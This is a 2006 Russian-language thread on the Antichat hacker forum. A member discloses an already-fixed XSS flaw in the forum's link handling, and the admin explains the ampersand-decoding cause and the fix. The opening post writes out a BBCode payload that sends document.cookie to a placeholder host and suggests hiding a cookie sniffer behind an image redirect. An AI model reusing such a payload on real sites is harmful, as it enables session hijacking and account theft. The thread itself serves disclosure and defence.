Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

29.07.2006, 20:26
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Xss на форуме Античата
Как начался мой поиск уязвимости:
Просто мне сразу не очень понравилась идея мо скриптизацией форума, отчасти из за того что это сложнее защитить, и ещё потаму что я стараюсь практически не использовать js. Kill JavaScript И чтож, я решил проверить, насколько безопастдо это сделано, я тутже подставил в ссылку ' естественно это не прокатило, а так как я читал перед этим статьи с главной страници ачата, я вспомнил что если в js подставлять символы в виде &#HH, и они будут воспринематься как обычные символы, я подставил ' но или я читал не очень внимательно или там небыло написанно про то что ; после этого символа не только не воспринемается но и закрывает его, во всяком случае символ ; не указан в нижней таблице Взлом чатов by Algol. Теория и Практика. (страница 2), когда я подставил туда ' форум заменил символ & на &, на этом я и прекратил поиски.
Потом я гдкто увиде, что можно и нужно писать их все с ; (все имел введу таблицу), я подставил, ' и увидел его в сорцах таким как и подставил, и я не долго думая закрыл открытую кавычку адреса подставил любимую переменную и сново открыл кавычку, чтобы форум её закрыл сам, в ркзультаттк получилась такая строка.
[ url=http://xxx.yyy/zzz.php? ' +document.cookie + 'ok]Test[/url]
результат:
<span title="Безопасная ссылка, Referer не передается: http://xxx.yyy/zzz.php? ' +document.cookie + 'ok" style="text-decoration:underline; cursor: pointer;" onclick="window.open('http://xxx.yyy/zzz.php? ' +document.cookie + 'ok');">Test</span>
Как видно из примера, в скрипте "http://xxx.yyy/zzz.php" можно поставить снифер, а можно тудаже и редирект например на картинку, тогда никто не догалался бы что это снифер  .
P.S. Я повыделял это красным потому что форум фильтрует эти симыолы, а если их разделить другим тэго то всё норм
P.P.S. Уязвимость, на данный момент, исправлена 
|
|
|

29.07.2006, 22:09
|
|
Banned
Регистрация: 06.03.2005
Сообщений: 1,645
Провел на форуме: 7298807
Репутация:
901
|
|
!
Я в репутацию добавлять не буду  . Админы уже добавили 
|
|
|

29.07.2006, 22:15
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
Молодец, не каждый бы додумался, респект!
Я понимаю тебя, хотел на паблик, чтоб все в лицо знали :d но можно было б и в привате оставить хсс, хотя паблик лучше, благородное дело сделал 
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|

29.07.2006, 22:19
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Если бы эта Xss работала ещё где-то, можно былоб и в привате, а так чего ей там делать.
|
|
|

29.07.2006, 23:49
|
|
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме: 5151669
Репутация:
1198
|
|
поясняю, вот это видео от Zadoxlik\\\'a, так вот там про такие xss, оч понятно оъясняет.
Кстати я тоже хочу 100 
http://video.antichat.ru/file46.html
Последний раз редактировалось Sn@k3; 29.07.2006 в 23:50..
Причина: забыл довать ссыль
|
|
|

30.07.2006, 10:58
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Немного поясню, откуда возникла такая проблема. Когда я настраивал безопасность форума, я проверял валидность URL-ов в строгом соответствии с RFC. Т.е. в урле могут быть только цифры, буквы, и некоторые спец символы. Амперсанд (&) тоже входит в число допустимых симоволов, поскольку он является разделителем атрибутов в CGI-запросах. Однако, помимо этого, он является и знаком HTML-кодирования символов вида &#xx;
Получается что, с одной стороны необходимо оставить амперсанд для таких вот ссылок open('http://ssss.www/?ss=22&ddd=11'), но с другой стороны ссылки типа этой open('http://ssss.www/?ss=22"ddd=11') разрушают джаваскрипт, поскольку парсер преобразует " в кавычку. Диллема.
В настоящий момент, я выхожу из этой ситуации следующим образом:
В ULR знак амперсанда заменяется на & . А при разборе такой ссылки браузером, он сначала преобразует & в амперсанд, и потом выполняется open().
|
|
|

31.07.2006, 03:38
|
|
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме: 1212666
Репутация:
662
|
|
Да когда то и я нашел хсс на форуме но сто я не получил
__________________
|
|
|

31.07.2006, 04:19
|
|
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
Провел на форуме: 9751364
Репутация:
1847
|
|
Да когда то и я нашел хсс на форуме но сто я не получил
Деноминация просто )
|
|
|

31.07.2006, 04:30
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Сообщение от grinay
Да когда то и я нашел хсс на форуме но сто я не получил
Хотел посмотреть, что ты за xss нашёл, но в твоём поиске, только 23 темы. Ты её вобще выкладывал?
|
|
|

31.07.2006, 19:39
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
Получается что, с одной стороны необходимо оставить амперсанд для таких вот ссылок
А мне казалось что w3c (Tidy) уже надо использовать
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|